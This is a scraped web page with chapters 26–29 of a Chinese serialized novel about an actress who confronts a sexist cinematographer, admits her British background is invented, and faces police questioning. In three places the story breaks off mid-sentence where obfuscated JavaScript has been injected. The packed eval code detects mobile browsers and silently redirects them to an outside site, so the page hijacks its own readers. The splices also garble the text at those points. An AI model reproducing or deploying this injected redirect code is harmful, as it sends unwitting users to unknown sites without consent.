下一场则是两人的重逢之时,同样是在丛静颜家里,刚从英国回国继承公司的韩叙声,被下属误以为是普通职员,让他帮忙给请病假的丛静颜送工作电脑,由此两人相认,开启了重逢后的种种。 江知渺没有离开片场,坐在临时搭出来的丛静颜的房间里,更能让她代入角色,酝酿情绪。 然而耳边的清净并没有维持太久,正当她捧着剧本,细细揣摩丛静颜在看到来人时的复杂心情时,一阵严厉粗鲁的训斥声打断了她的情绪。 “你算什么东西?敢碰这么贵重的设备?我告诉你,要是弄脏了,就算把你卖了也赔不起!” 26. 尊严 江知渺顺着声音的源头,来到层层围观的人群中,只见摄影指导曹飞满脸怒气,脸上的横肉拧成一团,眉毛霸道地竖起,他一手叉腰,另一只胖手指着面前的年轻女孩:饰演学生时代丛静颜的小演员,苏钰晴。 苏钰晴早就哭花了脸,捂着脸不敢看他,不停地向他鞠躬,嘴上念叨着:“对不起,对不起,我不是故意的,对不起……” “早干嘛去了?现在道歉有什么用?我看你根本就没有做演员的脑子,这种错也敢犯?”曹飞骂得唾沫横飞,没有一点停下来的迹象。 “一点规矩都不懂,以为自己是大明星了?” “我告诉你,片场不是你家,你他妈给老子记住了,什么东西能碰,什么不能碰!” …… 眼见他越骂越脏,苏钰晴几乎快要蜷缩进地底,江知渺忍不住穿过围观的工作人员,走到她身边,揽住她的肩膀,瞪了曹飞一眼,随即立刻隐去,挂起礼貌的微笑,问道:“飞哥,这是怎么了?” “小江,你来了啊?”这个称呼让江知渺皱了皱眉,曹飞今年五十岁,干摄影干了大半辈子,在圈里大家都说他是“德高望重”的前辈,他也自恃资历老,对于比自己年纪小的演员,说话都不客气。 不过,现在不是纠结这个称呼的时候,江知渺仍然带着淡淡的微笑,“听见飞哥您的声音,我就过来了。”她将苏钰晴向自己的方向又揽近了一些,笑道:“钰晴刚来咱们剧组三天,还不太熟悉,我知道飞哥您的要求高,但她到底是个孩子,简单说两句就算了吧。” “哎呦江大影后!”他阴阳怪气地说道:“您可不知道她干了什么!”说着,曹飞伸手指向脚边黑色的工具箱,“喏,她一屁股就坐在箱子上,沾了一大片血!” 江知渺凑上前去看,黑色的底色之中,隐约似乎能够看到指甲大小的两块深色痕迹。曹飞大着嗓门抱怨道:“这些设备随便拿出来一个那都是天价,本来就不让女的往箱子上坐,结果她倒好,还弄上血了!干咱们这行的,谁不知道这不吉利?……” 话音未落,出乎所有人意料,江知渺利落地扯过一张白纸盖住血迹,当着他的面,明晃晃地坐到了箱子上! 在场所有人瞬间愣住了,足足过了十几秒,直到江知渺已经悠闲地翘起脚来,围观的人群中才爆发出窃窃私语。 “你……你你……”曹飞目瞪口呆,气得全身颤抖,指着她的鼻子说不出话来。 江知渺冷着脸,一把推开他的手,反而拉住苏钰晴,将她带到面前,为她轻柔地擦掉脸上的泪水,极尽温柔地安慰道:“站了这么久,累了吧?来,钰晴,坐下歇会儿。” 苏钰晴跟随着她的话语,懵懂地坐到她身边,她的掌心冰冷刺骨,江知渺干脆将那双尚显稚嫩的手掌捂进手心。 “江知渺!你这是要做什么?”曹飞终于回过神来,那张胖脸上青一块红一块。 “如你所见。”她还穿着上一场戏的戏服,当然也是她自己购置的私服,一条米黄色及膝长裙,嫌坐得不舒服,直接将一双冷釉色长腿慵懒地伸展开,“坐在每个男人都能坐的工具箱上。” “你……你真是疯了!女人坐工具箱会压运!你给我起来!”曹飞说着就要上前拉扯。 “这倒是奇怪了。”江知渺凝视着他的眼睛,用目光树立起一道铜墙铁壁,逼得他向后退去。 她冷笑道:“女人会带来霉运——” 江知渺站起来,向四周环视一圈,最后依旧死死地盯着曹飞,问道:“你们男的也都是被女人生出来的,怎么不自带霉运呢?” “江知渺,你别在这儿跟我扯东扯西。不让女的坐工具箱也不是我一个人说的,圈里哪个剧组不是这么要求的?” “那只能说明圈子里有许多像你这样半截身子入土的东西。”江知渺步步紧逼,“曹飞,剧组里这么多女人,兢兢业业地站在自己的岗位上,不是来给你们男人做陪衬的,你根本没资格那样说钰晴。” 她回到苏钰晴身边,手搭在她的肩膀上轻拍两下,转而犀利地向曹飞撇出一记眼刀,习惯性地抬起下颌,“现在,向她道歉。” “道歉?”曹飞被气笑了,“要我向一个小丫头道歉?不可能!还有你,不就仗着自己拍过几部戏拿过一点奖就在这儿胡说八道吗?我告诉你,你,还有她,一个也跑不了,必须给我道歉!” “知渺姐,算了,我没事。”苏钰晴挤出一个勉强的笑容,“毕竟是我先把工具箱弄脏了,是我的问题……” “工具箱弄脏了,擦掉便好。”江知渺帮她理了理额前的碎发,沉吟道:“污言秽语的脏,一辈子也洗不掉。” 她在心底默默地说道:“有些是非对错,就应该立刻分辨清楚。” 他们在这里吵了许久,还是惊动了制片人。制片人带着修导急匆匆地赶过来,先是疏散了围观的人,又把他们三个人单独叫到一旁。 “修导,你是了解我的,触碰到底线的事情,我绝对不会退后一分一毫。”江知渺冷着脸听曹飞添油加醋地讲完了全过程,迎上修导为难的眼神。 “知渺,你的为人我很清楚。”修茂德与制片人对视一眼,继续说道:“飞哥也没有恶意,就是心直口快。” 他给曹飞的杯子里蓄满茶水,状似随口说道:“这样吧,曹飞,我大你两岁,那就直接说了,你给钰晴赔个不是,这事就算过去了,咱们后边该怎么拍就怎么拍。” “修导?”曹飞瞪大了两条缝似的眼睛,不敢相信自己听到的话。 “啧,大老爷们,别墨迹了啊,全剧组都等着呢。”修茂德食指不耐烦地轻敲了两下桌面。 离开临时会议室,苏钰晴从身后小声叫住她:“知渺姐……”江知渺停下脚步,等她赶上来,问道:“钰晴,怎么了?” “刚才的事,谢谢你。”她猛地鞠了个躬,高马尾都被她甩到了面前,“如果没有你,飞哥肯定不会给我道歉的。” 江知渺摇了摇头,上手把她的发丝理顺,又帮她把身上的校服整理好,温柔地笑道:“即使没有我,你也能够处理好这些事情的。” “不要低估你自己的力量,我只是比你年长几岁而已。” 她拉着苏钰晴的手,将她送回B组拍摄区,“好了,既然已经解决了,那就专心拍戏。我让助理给你给你拿了一包红糖姜丝茶,一会儿你记得喝,注意保暖。”说着,她轻轻捏了捏少女柔软的脸颊。 16岁, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15781967|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江知渺望着苏钰晴雀跃的背影,已经记不清自己16岁时的模样了。好像总是狼狈不堪,日子一天天过去,始终没有起色。 就像灰姑娘的一天之中,唯有参加舞会的几个小时是光彩夺目的,除此之外,她只是一个灰头土脸的可怜女孩。她的16岁,就活在舞会开始之前的时光当中。 “知渺姐,这位是下一场和你演对手戏的外籍演员Hilda,你们可以提前对一下台词。”群演统筹带着一位金发碧眼的外国男人来到她面前。 她不好意思地挠了挠头,“我英语不好,跟他没法聊天。知渺姐你从小在英国长大,用英语对话肯定不成问题,拜托你帮我嘱咐他几句:待会儿记得走位,还有,他之前是平面模特,告诉他拍的时候千万别看镜头。” 是啊,江知渺差点忘了,所有人都以为,她是在英国长大的,父亲是英国的外科医生,母亲在英国担任高管,她是含着金汤匙出生的千金,才不是什么灰姑娘。 这个天大的秘密,唯有梁栖月和柯妙妙才知道真相。除此之外,只有两个人,曾经无情地戳穿过她的伪装:柏霆宇,和邵聿。 七年前,她和邵聿领完证,刚刚走出民政局,邵聿就变戏法似的从背后拿出两张机票,目的地是新西兰罗托鲁瓦。 他说,与其在国内被各种舆论影响心情,不如彻底远离这一切,到一个没人认识他们的地方去,人们很快就会淡忘这些捕风捉影的绯闻,等到那时再回来。 他们都没想到,回国后江知渺这个名字直接在娱乐圈内被完全封杀,邵聿也因未经批准擅自在网络上公布婚讯而背上处分,那时他们只是一对亡命鸳鸯,拔掉电话卡,登上了飞往异国他乡的航班。 他们在PolynesianSpa享受私人湖景浴池时,不知从哪里钻进来一个当地的小朋友,向他们售卖鲜花和酒水。 江知渺随口问了问他的年龄,10岁,看上去身材较同龄人瘦小许多,衣服破旧不堪,脚上趿拉着明显大几号的布鞋。 她忍不住和这个小孩多聊了几句,分明是该上课的时间,他却常年在外面卖东西赚钱,不仅对罗托鲁瓦各个度假地非常熟悉,言行举止也有着超乎年龄的成熟。 其实她的酒量很差,两杯就倒,可还是把男孩手里仅有的两瓶澳洲原生卡卡杜李利口酒都买了下来。 从小孩欢天喜地地拿着钱离开之后,邵聿便一直用探究的目光盯着她。原生树蕨围成半露天石质浴池,悬于罗托鲁瓦湖畔,远处摩库伊亚山倒映在清澈的水面上,傍晚时分,波光粼粼的温泉水如同上帝撒下的一抔金沙,在热腾腾的蒸汽中荡漾着朦胧氤氲的光影。 邵聿闲适地靠在池边,精壮的手臂向后搭在池沿的火山石上,小臂被温泉水薰得发红,更显得肌肉线条清晰流畅。 两人只有一步远的距离,可他的眼神在层叠的蒸汽中,显得缥缈而不可捉摸,嘴角似笑非笑,带着说不清道不明的暧昧。 一阵山风穿过,身后的树蕨叶片发出和谐静谧的沙沙声,温泉水也掀起了细小的涟漪。水面在她的锁骨上下微微起伏,像羽毛上下轻扫,勾起一阵痒意。 不知为何,江知渺忽然想起昨晚邵聿在她锁骨处落下的一个吻。 27. 坦白 他们的航班晚上十一点才降落,抵达在罗托鲁瓦租住的民宿时已是深夜,兵荒马乱地收拾洗漱好,面对卧室内唯一的一张Queensize大床,两个人都愣住了。 这是他们第一次住在同一个屋檐下,一切都发生得猝不及防,江知渺直到现在才终于清醒地意识到,他们已经是夫妻了。 或许是看出她内心的踌躇,邵聿主动提出到客厅沙发上休息,江知渺怔愣地站在卧室角落,看着他将被子和枕头抱出去,又回来帮她关门。 “知渺。”邵聿的手握在门把手上,突然叫了她一声。 她茫然地眨了眨眼,下一秒,邵聿的身影像箭一般冲到她的面前,密集的吻如同暴雨落在她的脸颊、唇瓣、锁骨…… 她被铺天盖地的暴雨淹没,剧烈的雨势让她几乎要喘不过气来,“邵聿!”,她忍不住轻呼出声。 邵聿立即停了下来,温热的额头抵在她的耳畔,碎发让她有些发痒,她刚要推拒,邵聿就自己抬起头来,目光不舍地在她的脸上逡巡,“天晚了,你好好休息。” 说完,他头也不回地快步走出卧室,临走前还不忘帮她把门关好。 此时此刻,尽管有着天然芦苇编织的屏风与原生树蕨的环绕,能够阻挡外面的视线,但毕竟是露天温泉,偶尔也能听到黑天鹅的鸣叫,与路人依稀的说话声。 邵聿目不转睛地看着她,江知渺被他盯得有些心慌,温泉的热气蒸得她脸颊发烫,她猜不透邵聿到底在想什么。 “……怎么了?”她还是忍不住问了,目光躲闪,蜻蜓点水落在温泉水面的涟漪上。 “知渺,你跟我说实话。”她听见邵聿那主持人特有的醇厚嗓音响起,“你究竟,是不是在英国长大的?” 哗啦啦——一对扇尾鸽倏地掠过树蕨枝头,猛地带起叶片。 江知渺的大脑瞬间陷入空白,远处温泉眼微不可察的咕咚声变得分外清晰。 咕咚、咕咚…… 她不知自己愣了多久,渐渐地,她意识到那富有节奏的震鸣,其实是自己惊弓之鸟般的心跳声。她的手脚早已在刹那间变得冰冷,身体分明泡在温泉水中,然而却如坠冰窟。 她始终没敢抬起头来再看一看邵聿的表情,他该用多么戏谑嘲讽的眼神看着自己的丑态,江知渺仅仅是想一想就感到绝望。 或许是她一动不动地呆愣了太久,邵聿看到江知渺惨白如纸的脸庞,后知后觉地意识到,真相可能比他想象的还要残忍,他霎时无法自控地愧疚起来。 “我……我不是那个意思。”他靠近了一些,握住她的肩膀,掌心的冰冷吓了他一跳。邵聿只好轻轻摇晃着怀里的人,等待着她涣散的眼眸逐渐聚焦。 “知渺,你听我说,我没有别的意思,只是刚才听你和那个孩子说话时,不太像是英音,所以才有些疑惑。” 邵聿生怕她不相信,焦急地解释着,“不管你在哪里出生、在哪里长大,你都是江知渺,是我此生唯一的妻子。” 香槟气泡砰然炸裂,饱满的低频共振中带着金属般的质感,声音在胸腔充分共鸣。经过温泉浸泡后,他的嗓音还带有几分颗粒感,情话在舌尖悄然滚动,好像古老的留声机缓缓流出的第一个音符,又好像手指轻轻摩挲毛呢西装的细腻触感,化成比温泉水还要热的暖流将她团团包裹。 江知渺在这熨帖的环绕中放松了神经,邵聿的指尖触及脸颊时,她才发现自己在流泪。有生以来,她从未像现在这样想要倾诉,想要得到安慰,急切地、迫不及待地、难以忍受地。 在这异国他乡,天为庐,水为底,远离人烟,远离繁华,摆脱所有身份,她将关于自己的一切,全盘托出。 没有波澜壮阔的开端,也没有跌宕起伏经过,更没有荡气回肠的结尾,江知渺从来不觉得自己的故事有什么独特之处。 她只是毫无选择地出生在贫困的W省一个偏远的小城镇里,父亲是镇里修车店的一名普通的修理工,母亲没有固定工作,在镇子上打些短工,帮人缝缝衣服、看看店铺。 从出生之日起,她的记忆底色就是灰暗的。一家三口人挤在一间三十平米的半地下室里,只有在晴天,且仅限上午九点至十一点,才能从那唯一一条狭窄的窗户外,投进一缕阳光。 她对这个时间记忆犹新,是因为唯独这个时间里,室内才能有些光亮。平时在学校还好,每逢节假日,她就必须要赶在这两个小时内把作业全部写完。 贫穷、逼仄、黑暗,这些对于那时的她来说,并非无法忍受。然而,从她七岁那年起,就连这种生活也成了奢望。 那年冬天是个几十年一遇的寒冬,冷空气自西伯利亚席卷而来,江知渺家中却热火朝天——她的弟弟,江知赫出生了。 她还记得弟弟出生那天的场景,父亲喝了很多酒,她从未见父亲那样高兴过,修车店的工友也拿着零零散散的礼物前来祝贺,就连生活在乡下老家的70岁的爷爷奶奶,都坐了几个小时的长途汽车赶来看望新生的孩子。 “一开始,我也和他们一样激动。突然就成为了一个姐姐,有了一个弟弟,比我的年纪小很多,个头也小很多,手拿不起任何物品,嘴巴讲不出一个有意义的字。” 江知渺的眼神也变得柔软起来,“这样弱小的一个生命,降临在我的生命里,好像无望的人生忽然被赋予了一个宏大的使命:保护他,陪伴他。” 家里多了一口人吃饭,父亲要更加努力地工作赚钱,每天结束修车店的工作,还要去电厂做夜班保安,江知渺常常一周都见不到他。母亲在生产时大出血,落下了病根,时常喊着关节痛头痛,做不了一点家务。 于是,洗衣、做饭、打扫卫生、照顾弟弟、甚至赚钱补贴家用的全部重担,都压在了她一个孩子的身上。 但这是她的家,是她的家人,尽管她每天累得精疲力尽,却也甘之如饴。看着弟弟的身量一天天变长,衣服两个月就要换更大的尺码,她也还是乐此不疲地去拿拨浪鼓去逗他。 然而很快,江知渺就再也感受不到其他人的快乐了。她以为自己做的这一切总有人在意,事实却血淋淋地摆在了她的眼前。 “父亲不知从何时起就染上了打牌,经常喝得醉醺醺回家,向母亲要钱,动辄就对我们母女俩又打又骂。母亲更是对我换了一副面孔……”江知渺开始哽咽,无论时隔多远,回忆仍然是一种折磨。 她添饭时,父母会抱怨她浪费粮食,交学费时,要质问她是不是骗钱乱花。几乎是一夜之间,江知渺就清醒地意识到,自己在这个家里,做什么都是错的。 在很长一段时间里,具体多久,江知渺已经记不清了,或许是十年,又或许是十五年,她将自己的一切不幸都归咎于江知赫。假如这个弟弟没有出生,她就还是这个家里唯一的孩子,是一颗黯淡的假冒伪劣的掌上明珠。 可如今,家里所有人的宠爱和耐心都给了江知赫。凭什么他不用在放学回家后给全家人做晚饭?凭什么他可以安心写作业,而不必先将全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15792390|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家各个角落打扫得一尘不染?凭什么给她买新衣服新鞋时,要永远买大一号的男装,就为了江知赫飞速长高后也能穿得下? “从七岁起,我的梦想就只有一个:逃离这个家。” 家里交不起高中学费,她就从初一开始,打整整三年的暑假工攒钱;买不起文艺汇演的裙子,她就用去服装店义务劳动,换取一天租借;负担不起去A市艺考的住宿费伙食费,她就去做酒店前台,整整五个月考试期,她在夜班前台熬过了百余个漫长夜晚。 就在她拿到中央艺术大学的录取通知书,以为自己的崭新生活终于要开始时,现实再一次向她泼了一桶冷水。 趁着开学前的暑假,她去南山影视城跑龙套,攒大学生活费。那天恰好遇上一个选角导演在群演里找演员,去扮演一个三线网剧的女N号,总共有三句台词,半分钟的镜头。 这在她的心目中是个难能可贵的好机会,作为表演专业的准大学生,未来也终究要从事演艺事业,这个暑假就是她的起跑线。 与她一起去试镜的还有二十几个年轻女孩,她们挤在一个临时搭建的布棚子里,四面密不透风,闷热无比。选角导演给她们每个人发了一张表格,让她们如实填写。表格里,从身高体重到户籍家境,问得事无巨细。 “当时我还觉得奇怪,只是去演一个小角色,为什么还要填写父母甚至是祖父母的身份、职业、收入。不过这个问题,在我得到试镜结果后,就得到了答案。” 她自认试镜发挥不错,也在候场时,看到了排在自己前面那个女孩的表现。那个女孩的外貌不算出众,化了很浓的烟熏妆,一身服饰都是名牌,打眼一看便知道价格不菲。至少江知渺能够确定,比起她,自己对角色的理解和台词功底,要明显好上许多。 “然而最后,他们恰恰就是选择了这个女孩。” 江知渺起初只是不理解,她想要找选角导演求教一下,自己的表现究竟差在什么地方,即使失去了这次的机会,也能为下一次试镜积累经验。 但她刚刚到达休息室门外,便偶然听到了选角导演和制片人的谈话。制片人说,那个角色只是一个非常小的配角,演技如何根本不重要。对于年轻演员来说,这种角色只是一个跳板,是他们正式进入娱乐圈的象征。 一个家庭背景好的新人,将来才更容易在娱乐圈立稳脚跟。而且,所谓多个朋友多条路,有了这次的交集,他们也就更容易接触到她家里的资源。 江知渺这才明白过来,自己身处的,到底是一个怎样腥风血雨的环境。弱肉强食,不进则退,她出生于这样的家庭,从一开始就矮人一头,甚至或许永无出头之日。 “从七岁起,我就为了新生活而努力,即便是死,我也不愿意就这样不明不白地放弃,止步于尚未开始之日。”她咬紧牙关,一字一句地说道。 几乎没有任何纠结,江知渺立刻给自己编造好了一套新身份:出生在英国,十六岁回国;祖父二十岁时前往英国公费留学,深耕于投资领域,是金融行业的专家,祖母是英国一个科技研究所的负责人;父亲在英国某综合医院做外科医生,母亲是该医院管理层中唯一的女性高管。 而她,是这个家里,真正的掌上明珠。 “所以邵聿,我就是个彻头彻尾的骗子,连你也被我骗了。”她讲完时,天色已经完全暗了下来,江知渺看不清邵聿的表情,只能捕捉到他眼中闪烁的泪光。 她如释重负,“现在,你可以离开我了。” 28. 圈套 “姐姐。” 很久没有人这样叫她了,江知渺愣了一下,缓缓转过身,坐在病床上的程薇柔对她虚弱地笑了笑。 “你叫我知渺就好。”她将最后一寸苹果皮削下,三两下就将果肉切成均匀的小方块,摆放在白瓷盘里,递给她,“怎么了,有哪里不舒服吗?” 她有些担心地将手背贴在程薇柔的额头上,体会到微凉的体温,长舒了一口气。三天前程薇柔转院到这家私立国际医院,因为路途颠簸,发了两天低烧,今天看起来气色终于红润了一点,说话也有了力气。 “谢谢知渺姐。”程薇柔乖巧地接过水果盘,捧着端详了一会儿,“你切得好漂亮啊,比外面卖的果切还整齐。又能拍戏,又很会照顾人,知渺,怎么才能像你这么全能啊?” 这一周江知渺只要有空闲时间就往医院跑,一来二去熟悉起来,程薇柔也打开了话匣子,不时流露出二十来岁的活泼来,江知渺被她逗笑了,替她掖了掖被角,“会照顾人,算什么全能啊?” 程薇柔一边嚼苹果一边说道:“就是因为你工作那么忙,还能把这些小事应付好,所以才厉害啊。” “别急,慢慢吃。”江知渺拍着她的背柔声说道。 程薇柔将口中的苹果囫囵吞下,忽然用力地握住她的手,力度之大让江知渺震惊地瞪大了双眼,不敢相信重伤之人竟然能拥有这么大的力气。 她一动不动地盯着江知渺,眼睛直勾勾瞪着她,连眨也不眨一下,迸发出刀刃凛冽的寒光。她的目光瞬间就有了吞噬一切的吸力,如同黑洞般吸走周围全部光亮,望不见底的深渊让江知渺生出阵阵寒意,恍惚间以为自己马上要被她那双清澈的眼睛完全吞下,蚀骨剥皮。 时间也被她深不可测的凝视禁锢住,那副清纯怯懦的外表下,似乎孕育着一枚子弹,子弹业已上膛,随时等待发射,然而不发射的每一秒,却比那一声爆响更具有令人胆寒的威慑力。 “知渺,你有没有体会过,失去心爱之物的感受?” 砰——子弹终于发射,在空中划过一道白烟,正中心脏。 可下一秒,程薇柔又换回了平日里的样子,柔弱、无助,小心翼翼地挑起上目线,可怜巴巴地眨了眨眼睛,泪水充盈在鲜红的眼底,宛如冰河流过火热岩浆。 她张开手指,沉重地喘了几口气,过了一分钟才缓过神来,自嘲地笑道:“也许是我从未得到过。” “薇柔,你……”江知渺努力压下心头的震颤,可颤抖的声音还是暴露了她的内心澎湃。 “我曾经,也想成为像你一样的女人。”她的声音里带着无限悲戚,泪水无声地滚落,消匿在她胡乱擦过的掌心里,手掌习惯性地在腹部轻抚。 “是因为孩子的父亲吗?……”江知渺试探性地握住她的手指,发觉她的指尖也在颤抖。 “知渺,你知道毫无盼头的生活,是什么样吗?”程薇柔的低吟中夹杂着哽咽,让人听了心都要被揉碎,不由得与她感同身受起来。 “我……” 江知渺刚刚开口,放在床头立柜上的手机就不合时宜地响了起来。程薇柔一把抹掉脸上的泪水,欠身去帮她够手机,视线比手指先一步触碰到屏幕,“马警官”三个字赫然出现在上面。 看到来电人备注,江知渺有些犯难,程薇柔反而笑着对她摆了摆手,示意她可以自便。 程薇柔病房是高级套间,走出病床所在的房间,还有一个宽敞的客厅。江知渺轻轻将门关好,坐在客厅的沙发上,接听了电话。 两分钟后,她快步走了回来,面露歉意,“对不起,我突然有急事,需要离开一趟……” “没关系。”程薇柔又恢复了之前的活泼,脸上一点泪痕也没有,体贴地说道:“没关系,我没事的,现在伤口也在好转,医生说我的情况完全稳定了,你去忙吧,不用每天都来看望我。”她甚至还大剌剌地伸了个懒腰,江知渺终于放下了心,和她匆匆道别后,驱车直奔警察局。 “哎呀江女士,真是稀客啊!”她走进警察局大门时,刚好和马政阳迎撞上,他正举着个搪瓷茶杯,背着手哼着歌,慢悠悠地闲逛。 “马警官,不是您叫我来的吗,说是案情有了新的进展?咱们就别废话了,直接说吧,这次找我又是因为什么?” “好好好,江女士这么配合我们工作,真是感激不尽。”他扯着嗓子冲办公室喊了一声:“小周,过来!” 周屹泽应声从办公室里走了出来,看到江知渺的一瞬间还有些吃惊。马政阳重重地拍了拍他的肩膀,说道:“去,带江女士找个谈话室,记得倒杯茶。” “不用了。”江知渺沉声说道:“茶水就不必了,长话短说吧,我今晚还有夜戏。” 上次杨灝强行将她带走,闹了个不欢而散,江知渺也对面前的这个马警官刷新了认识。他看上去乐乐呵呵的不靠谱,却是个彻头彻尾的笑面虎,若是信了他表面这幅不正经的模样,那才是掉进了他的陷阱。 “跟我走吧。”周屹泽在前面引路,带她穿过宣传围廊,来到人烟稀少的审讯区。 再一次坐在冰冷的审讯室里,江知渺看着熟悉的桌椅,空无一物的装潢,冷笑道:“所以两周过去,还是只有我在这里坐过吗?” 周屹泽被她问住了,心虚地摘掉了警帽,马政阳气喘吁吁的声音从楼道尽头传来,“来了来了,下一个接受讯问的人马上就会来了。” 江知渺坐直了上身,右手搭在椅子扶手上,好整以暇地看着他匆匆走进门,还被门把手勾住了衣角,水杯放在桌面上的时候洒出一滩茶水,险些把文件打湿,好不狼狈。 “人老了,就是笨手笨脚的,江女士,见谅啊见谅。”他手忙脚乱地整理着桌面,江知渺不在意地笑了笑,身体后仰靠在椅背上,问道:“马警官,听起来,你们找到真正的凶手了?” 马政阳先是自信地点了点头,紧接着又大幅度地摇了摇头,停下手里的动作,用文件夹神秘地挡住自己的嘴,说道:“还得看江女士能帮我们到什么程度了。” “我?”江知渺抬高了音调,不耐烦地皱了皱眉,“我已经把我知道的都告诉你们了,如果又想给我挖什么圈套,我要求律师在场。” “诶诶诶,别着急啊。”马政阳拦住她拨打电话的手,“这次我们要聊的真的不是您的事情。” 他向周屹泽使了个眼色,周屹泽心领神会,从文件夹里抽出一张写满字的纸,递给她,解释道:“我们查出,柏霆宇存在一段事实婚姻。” 江知渺双手环保在胸前,听他说完,目光在纸面上蜻蜓点水般的落了一秒,就抬起眼来,“这件事全国的人都知道了,怎么,你们还没找到他妻子吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15807748|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 马政阳双手交握,放到桌面上,因为心脏不好,手背上的血管不正常地凸出来。他重重地叹了一口气,“此人在户籍系统中并无记录,也没有固定的工作地点,我们仍在全力排查当中。” 江知渺静静地等待着他的下文,只见他伸长手臂,食指在她面前的纸面上点了点“程二囡”这三个字,憨憨地笑道:“不知江女士有没有这个人的线索啊?” “我?”江知渺冷笑道:“所有人都是从警方这里获得的消息,你们几天前才查出他结过婚,我又从哪里获得他老婆的线索?” “这不也是想尽量多找找有用的信息嘛!”马政阳拿起茶水抿了一口,轻轻吹走水面上漂浮的茶叶,状似随口问道:“毕竟江女士您了解柏霆宇真实的家庭情况,我也是想碰碰运气,万一您也知道他的婚姻情况呢?” “你什么意思?”江知渺凌厉地瞥了一眼旁边的周屹泽,“是你说的?” “我……”周屹泽涨红了脸,语无伦次地支支吾吾起来。 “江女士,息怒,息怒!”马政阳出来打了个圆场,“您是本案的重要证人,小周也只是告诉我们,说死者的父母有伤害您人身安全的行为,想要加派人手保护而已。” 江知渺狐疑地盯着他满脸笑容,沉默了许久,才松口道:“我确实知道他家里不算富裕,但也仅此而已了。” “哦?柏霆宇没有和您说过他已经结婚了吗?”马政阳一边低头在笔记上记录,一边轻描淡写地问道。 “对……”江知渺如实回答了他的问题,发觉他突然抬起头来,苍老疲惫的眼睛亮了起来,这才意识到自己又掉进了他的圈套。 她忍不住将手拍在面前那张信息表上,难以置信地摇头,自嘲地笑了笑,“果然,这才是你的目的吧?” “你其实根本不怀疑他那个隐藏在乡下毫无踪迹的妻子,从始至终,你怀疑的人只有我。你想要诱导我说出,柏霆宇曾经将他真实的家庭背景告知于我,但却从来没有和我提起过,他在老家还有一个妻子。” “父母和妻子,明明都是家人,为什么他只告诉我前者,却只字不提自己结过婚的事实呢?” “这样,你就可以顺理成章地推理下去:是因为我们有‘私情’,他是担心说出这个事实,我会与他‘分手’,这才向我隐瞒了他妻子的存在。” “你想要的答案,其实早在刚进门时,就已经得到了,那就是:我对他这段婚姻一无所知。” 江知渺决绝地站起身来,径直往门口走去,周屹泽本想伸手拦住他,却被马政阳阻止了,“江女士,慢走,不送。”临走前,马政阳还若无其事地向她道了别。 江知渺推门而出,一路飞快地穿过冰冷的走廊,来到警察局外。呼吸到自由流动的空气,原本被愤怒冲昏的头脑才渐渐冷却下来。 刚刚那些话脱口而出,她甚至来不及思考,如今越是仔细去想,繁杂的信息便越是在脑子里缠成一团,无法解开。 她从包里拿出手机,本想打车回片场,来电铃声却先一步响了起来:是程薇柔。 程薇柔从未主动给她打电话,江知渺回头看了看警察局威严的大门,心底忽然升起一阵奇怪的预感。她立刻按下接通键,电话那头,传来程薇柔不住的啜泣: “姐姐……刚才,警察来找我了……” 29. 哀悼 “知渺,我求求你,把我转到其他医院吧!”江知渺刚刚走进病房,程薇柔就抱住她苦苦哀求。 她把人搀扶回病床上,让她安安稳稳地坐好,安抚道:“好好好,你先别着急,慢慢说,都发生什么了?” “你离开后,很快就来了个和我年龄差不多的女人,穿着白大褂,说是来帮我做日常检查。可今天早上主治医生已经来查过房了,我瞧着她面生,本想按铃叫值班护士进来,她却直接拿手铐,把我的手拷了起来!” 程薇柔抽泣着,继续说道:“我想喊人,但她拿出自己的警察证,跟我说她是警察,让我配合她的调查,还说,如果不配合,就要把我带回警局讯问。” “那你看见她的姓名了吗?” “看见了。”程薇柔点点头,“好像是叫……许昭。” 江知渺深吸一口气,许昭,一周前,她曾和周屹泽来片场找她了解过袭击的情况,同时也是负责柏霆宇一案的警察。 她前脚刚被马政阳一个电话叫走,后脚许昭就到了程薇柔的病房里,很难相信这完美的时间差是个巧合。 尽管她对程薇柔孩子的父亲完全不了解,但本着尊重程薇柔意愿的想法,江知渺还是让梁栖月悄悄联系了这家私立医院,为的就是不让媒体记者和警方打扰程薇柔养伤,避免她未婚先孕的事情被大肆宣扬。 可才住了几天,程薇柔还是被警方发现了,江知渺不明白,明明是柏霆宇的过激粉出手伤人,程薇柔帮自己挡了一刀,为什么就被马政阳盯上了? “知渺?知渺?”她想的太入神,直到程薇柔呼唤她的名字,她才晃了晃脑袋,将一头思绪暂时放下,“那个警察来问了你什么?” 程薇柔惨淡地挑了挑嘴角,用微不可闻的声音嘀咕了一声,“没什么。” 江知渺没有听清,下意识问道:“什么?” 